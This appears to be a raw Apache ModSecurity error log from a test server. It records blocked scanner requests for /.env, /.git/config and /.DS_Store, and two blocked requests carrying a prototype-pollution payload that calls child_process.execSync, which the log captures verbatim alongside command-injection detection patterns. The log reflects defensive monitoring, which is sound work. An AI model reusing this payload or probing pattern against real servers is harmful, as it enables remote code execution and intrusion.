[Mon Dec 22 06:48:22.870904 2025] [:error] [pid 898838] [client 68.183.9.16:54964] [client 68.183.9.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUjbpvr4G77J7RRdTh3xowAAAAA"]
[Mon Dec 22 07:53:29.926805 2025] [authz_core:error] [pid 898838] [client 68.183.9.16:55122] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Mon Dec 22 07:53:32.980985 2025] [:error] [pid 902719] [client 68.183.9.16:55146] [client 68.183.9.16] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUjq7B6WGa2ZloL8vwm8zgAAAAo"]
[Mon Dec 22 07:53:32.981212 2025] [:error] [pid 902719] [client 68.183.9.16:55146] [client 68.183.9.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUjq7B6WGa2ZloL8vwm8zgAAAAo"]
[Mon Dec 22 07:53:32.981366 2025] [:error] [pid 902719] [client 68.183.9.16:55146] [client 68.183.9.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUjq7B6WGa2ZloL8vwm8zgAAAAo"]
[Mon Dec 22 07:53:33.936324 2025] [:error] [pid 899043] [client 68.183.9.16:55154] [client 68.183.9.16] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUjq7c8nUtdtekgN728G0wAAAAk"]
[Mon Dec 22 07:53:33.936541 2025] [:error] [pid 899043] [client 68.183.9.16:55154] [client 68.183.9.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUjq7c8nUtdtekgN728G0wAAAAk"]
[Mon Dec 22 07:53:33.936692 2025] [:error] [pid 899043] [client 68.183.9.16:55154] [client 68.183.9.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUjq7c8nUtdtekgN728G0wAAAAk"]
[Mon Dec 22 07:53:35.949640 2025] [:error] [pid 898840] [client 68.183.9.16:55162] [client 68.183.9.16] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUjq78fh9RYkqqyUXx_-gwAAAAI"]
[Mon Dec 22 07:53:35.949870 2025] [:error] [pid 898840] [client 68.183.9.16:55162] [client 68.183.9.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUjq78fh9RYkqqyUXx_-gwAAAAI"]
[Mon Dec 22 07:53:35.950025 2025] [:error] [pid 898840] [client 68.183.9.16:55162] [client 68.183.9.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUjq78fh9RYkqqyUXx_-gwAAAAI"]
[Tue Dec 23 15:06:30.910248 2025] [:error] [pid 922053] [client 159.198.77.225:54552] [client 159.198.77.225] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:s[\\\\\\\\'\\"]* ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "160"] [id "932105"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: {timeout found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var _r = process.mainModule.require;var _cp = _r('child_' + 'process');var _res = _cp.execSync('echo VULN_CHECK_a1b2c3d4e5f6g7h8i9j0', {timeout: 4000, encoding: 'utf8'}).toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'), {digest: `${_res}`..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2. [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUqh5trFNKKYU-HtVaVwzAAAAAY"]
[Tue Dec 23 15:06:30.910418 2025] [:error] [pid 922053] [client 159.198.77.225:54552] [client 159.198.77.225] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:s[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*(?:t[\\"\\\\^]*e[\\"\\\\^]*m[\\"\\\\^]*(?:p[\\"\\\\^]*r[\\"\\\\^]*o[\\"\\\\^]*p[\\"\\\\^]*e ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "298"] [id "932115"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {timeout found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var _r = process.mainModule.require;var _cp = _r('child_' + 'process');var _res = _cp.execSync('echo VULN_CHECK_a1b2c3d4e5f6g7h8i9j0', {timeout: 4000, encoding: 'utf8'}).toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'), {digest: `${_res}`..."] [severity "CRITICAL"] [ver "OWASP_CRS/3 [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUqh5trFNKKYU-HtVaVwzAAAAAY"]
[Tue Dec 23 15:06:30.910499 2025] [:error] [pid 922053] [client 159.198.77.225:54552] [client 159.198.77.225] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${_res}`} ) _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then: $b0} _response: {_prefix: var _r = process.mainmodule.require var _cp = _r(child_ process) var _res = _cp.execsync(echo vuln_check_a1b2c3d4e5f6g7h8i9j0 {timeout: 4000 encoding: utf8}).tostring().trim() throw object.assign(new error(next_redirect) {digest: `${_res}`} ) _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUqh5trFNKKYU-HtVaVwzAAAAAY"]
[Tue Dec 23 15:06:30.911846 2025] [:error] [pid 922053] [client 159.198.77.225:54552] [client 159.198.77.225] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUqh5trFNKKYU-HtVaVwzAAAAAY"]
[Tue Dec 23 15:06:30.912029 2025] [:error] [pid 922053] [client 159.198.77.225:54552] [client 159.198.77.225] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUqh5trFNKKYU-HtVaVwzAAAAAY"]
[Tue Dec 23 15:06:31.561012 2025] [:error] [pid 920447] [client 159.198.77.225:54560] [client 159.198.77.225] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:s[\\\\\\\\'\\"]* ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "160"] [id "932105"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: {timeout found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var _r = process.mainModule.require;var _cp = _r('child_' + 'process');var _res = _cp.execSync('echo VULN_CHECK_a1b2c3d4e5f6g7h8i9j0', {timeout: 4000, encoding: 'utf8'}).toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'), {digest: `${_res}`..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2. [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUqh5-Fop7XGxIv8nbKZkwAAAAI"]
[Tue Dec 23 15:06:31.561138 2025] [:error] [pid 920447] [client 159.198.77.225:54560] [client 159.198.77.225] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:s[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*(?:t[\\"\\\\^]*e[\\"\\\\^]*m[\\"\\\\^]*(?:p[\\"\\\\^]*r[\\"\\\\^]*o[\\"\\\\^]*p[\\"\\\\^]*e ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "298"] [id "932115"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {timeout found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var _r = process.mainModule.require;var _cp = _r('child_' + 'process');var _res = _cp.execSync('echo VULN_CHECK_a1b2c3d4e5f6g7h8i9j0', {timeout: 4000, encoding: 'utf8'}).toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'), {digest: `${_res}`..."] [severity "CRITICAL"] [ver "OWASP_CRS/3 [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUqh5-Fop7XGxIv8nbKZkwAAAAI"]
[Tue Dec 23 15:06:31.561209 2025] [:error] [pid 920447] [client 159.198.77.225:54560] [client 159.198.77.225] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${_res}`} ) _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then: $b0} _response: {_prefix: var _r = process.mainmodule.require var _cp = _r(child_ process) var _res = _cp.execsync(echo vuln_check_a1b2c3d4e5f6g7h8i9j0 {timeout: 4000 encoding: utf8}).tostring().trim() throw object.assign(new error(next_redirect) {digest: `${_res}`} ) _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUqh5-Fop7XGxIv8nbKZkwAAAAI"]
[Tue Dec 23 15:06:31.562436 2025] [:error] [pid 920447] [client 159.198.77.225:54560] [client 159.198.77.225] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUqh5-Fop7XGxIv8nbKZkwAAAAI"]
[Tue Dec 23 15:06:31.562587 2025] [:error] [pid 920447] [client 159.198.77.225:54560] [client 159.198.77.225] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUqh5-Fop7XGxIv8nbKZkwAAAAI"]
[Tue Dec 23 19:24:58.826015 2025] [:error] [pid 932701] [client 190.153.19.166:45597] [client 190.153.19.166] ModSecurity: Warning. Pattern match "\\\\b(?:keep-alive|close),\\\\s?(?:keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "311"] [id "920210"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aUreeiUKWvAZ0lEFftUZiQAAAAo"]
[Tue Dec 23 23:15:32.794906 2025] [:error] [pid 922053] [client 62.60.131.162:62443] [client 62.60.131.162] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUsUhNrFNKKYU-HtVaVxBAAAAAY"]
[Tue Dec 23 23:15:32.795154 2025] [:error] [pid 922053] [client 62.60.131.162:62443] [client 62.60.131.162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUsUhNrFNKKYU-HtVaVxBAAAAAY"]
[Tue Dec 23 23:15:32.795327 2025] [:error] [pid 922053] [client 62.60.131.162:62443] [client 62.60.131.162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUsUhNrFNKKYU-HtVaVxBAAAAAY"]
[Wed Dec 24 05:48:46.875269 2025] [authz_core:error] [pid 942105] [client 188.166.108.93:49042] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Wed Dec 24 05:48:49.868849 2025] [:error] [pid 942151] [client 188.166.108.93:49054] [client 188.166.108.93] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUtwsRZfX5YESfaQlc6tNQAAAAM"]
[Wed Dec 24 05:48:49.869074 2025] [:error] [pid 942151] [client 188.166.108.93:49054] [client 188.166.108.93] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUtwsRZfX5YESfaQlc6tNQAAAAM"]
[Wed Dec 24 05:48:49.869228 2025] [:error] [pid 942151] [client 188.166.108.93:49054] [client 188.166.108.93] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUtwsRZfX5YESfaQlc6tNQAAAAM"]
[Wed Dec 24 05:48:50.875924 2025] [:error] [pid 942137] [client 188.166.108.93:46760] [client 188.166.108.93] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUtwslz848j8rVCtVZepTAAAAAg"]
[Wed Dec 24 05:48:50.876165 2025] [:error] [pid 942137] [client 188.166.108.93:46760] [client 188.166.108.93] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUtwslz848j8rVCtVZepTAAAAAg"]
[Wed Dec 24 05:48:50.876325 2025] [:error] [pid 942137] [client 188.166.108.93:46760] [client 188.166.108.93] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUtwslz848j8rVCtVZepTAAAAAg"]
[Wed Dec 24 05:48:52.877325 2025] [:error] [pid 942100] [client 188.166.108.93:46770] [client 188.166.108.93] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUtwtPl7Z5lr6dAW68DeegAAAAE"]
[Wed Dec 24 05:48:52.877548 2025] [:error] [pid 942100] [client 188.166.108.93:46770] [client 188.166.108.93] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUtwtPl7Z5lr6dAW68DeegAAAAE"]
